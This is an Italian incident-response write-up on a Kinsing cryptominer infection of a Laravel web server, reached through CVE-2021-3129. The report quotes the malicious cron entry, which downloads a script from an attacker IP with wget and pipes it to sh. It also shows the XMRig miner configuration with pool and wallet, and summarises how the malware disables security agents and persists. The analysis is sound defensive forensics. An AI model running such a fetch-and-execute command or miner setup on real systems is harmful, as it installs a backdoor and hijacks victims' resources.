Introduzione
Il 2 febbraio scorso ho risposto alla richiesta di un amico che lamentava uno strano consumo di risorse su un nodo webserver su una istanza Jelastic. La CPU era al 100%, causando di fatto l’indisponibilità della macchina ad assolvere qualunque richiesta.
L’applicazione erogata dal server consisteva in una semplice API REST, tra l’altro in beta chiusa: l’uso di risorse non era quindi giustificabile con un uso normale del servizio.
Stato della macchina
Il nodo era purtroppo stato riavviato di recente, nel tentativo di risolvere la problematica. Inoltre, alcuni pacchetti dello stack software (PHP, Apache) erano stati aggiornati subito prima del reboot, cosa che ha causato un reset dei log a disposizione (ed un parziale re-deploy del nodo).
Pochi minuti dopo, il carico della CPU è tornato a crescere e, temendo una compromissione, il nodo è stato arrestato per evitare ulteriori danni.
Analisi dell’incidente
Dopo una prima ispezione, la compromissione è risultata subito evidente. Tra i cronjob installati figura la seguente voce:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Inoltre a in /tmp ci sono alcuni binari creati di recente (02/02). 
I file, due eseguibili ELF, risultano in run al momento dell’analisi.
kdevtmpfsi appare come una compilata custom di XMRig 5.5.0, già in circolazione dalla seconda metà del 2020, e dotata della seguente configurazione:
"background": true,
"donate-level": 0,
"cpu": true,
"colors": false,
"opencl": false,
"pools": [
{
"coin": "monero",
"algo": null,
"url": "xmr-eu1.nanopool.org",
"user":
XJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb",
"pass": "mine",
"tls": false,
"keepalive": true,
"nicehash": false
}
Lo stesso wallet id è citato in diversi altri report e segnalazioni, tutte riguardanti attacchi riconducibili alla minaccia nota come Kinsing (1, 2, 3, 4).
kinsing invece corrisponde alla backdoor scritta in Go descritta in questa paper. Il comportamento del binario, lanciato in sandbox, non appare particolarmente complesso: essa infatti si limita a scaricare ed eseguire il miner in /tmp, accanto ad una serie di script bash.
Diversi sono per l’appunto gli script bash a cui si appoggia il malware, scaricati da due diverse fonti, 185.154.53.140 e 194.40.243.61.
Sebbene nessuno dei due host sembri più in grado di distribuire gli artefatti in questione, diverse sono le evidenze che permettono di attribuire queste macchine all’attacco in analisi e ad altri simili (1, 2, 3).
Interessante è anche lo script inserito come cronjob (link), che comincia con l’abilitare l’accesso a file e directory sensibili, quindi prova a disfarsi delle directory create da altri miner.
Subito dopo cerca di disabilitare gli agent di sicurezza usati sulle piattaforme cloud cinesi come quelle di TenCent e Alibaba.
Quindi, prosegue con l’eliminazione dei processi e persino delle istanze docker riconducibili a miner concorrenti.
Infine, lo script scarica kinsing, assicurandosi che l’hash md5 del file sia quello corretto. crontab viene invocato per ottenere la persistenza e, contemporaneamente, disfarsi di quella relativa a miner preesistenti.
Ricostruzione del punto di ingresso
I log di traffico del webserver, sebbene coprano un lasso di tempo molto breve, hanno permesso di evidenziare il seguente comportamento anomalo:
Come si può notare confrontando questi log con i file presenti in /tmp visti in precedenza, al traffico qui rappresentato corrisponde la data di ultima modifica dei binari rinvenuti a filesystem (al netto della timezone, che vede i timestamp a disco su UTC+1 mentre i log di Apache sono su UTC+0).
Tale pattern ha permesso di ricondurre il punto di ingresso alla vulnerabilità CVE-2021-3129: lo stesso comportamento è infatti riscontrabile all’interno di un exploit pubblico disponibile su Exploit Database.
Una misconfiguration (l’app, basata su Laravel, era stata messa in produzione in modalità di debug), unita all’uso di Ignition con versione precedente alla 2.5.1, permette di eseguire una RCE sulle istanze Laravel con versione precedente alla 8.4.2 attraverso una singola richiesta HTTP POST, così come descritto in questo report di Ambionics Security pubblicato il 12/01/2021.
Tutti gli accessi di questo tipo registrati nei log provengono da server apparentemente localizzati in Russia.
Mitigazione
La web application è stata installata su una nuova virtual machine, in modo da garantire l’integrità dell’ambiente, recuperando poi il codice direttamente dal repository di sviluppo. Tutti i secret presenti a bordo macchina sono stati ruotati.
Il flag APP_DEBUG in .env è stato settato a FALSE per evitare che la vulnerabilità potesse essere sfruttata nuovamente, mentre un update dell’intero stack Laravel sottostante è in fase di studio da parte del team di sviluppo.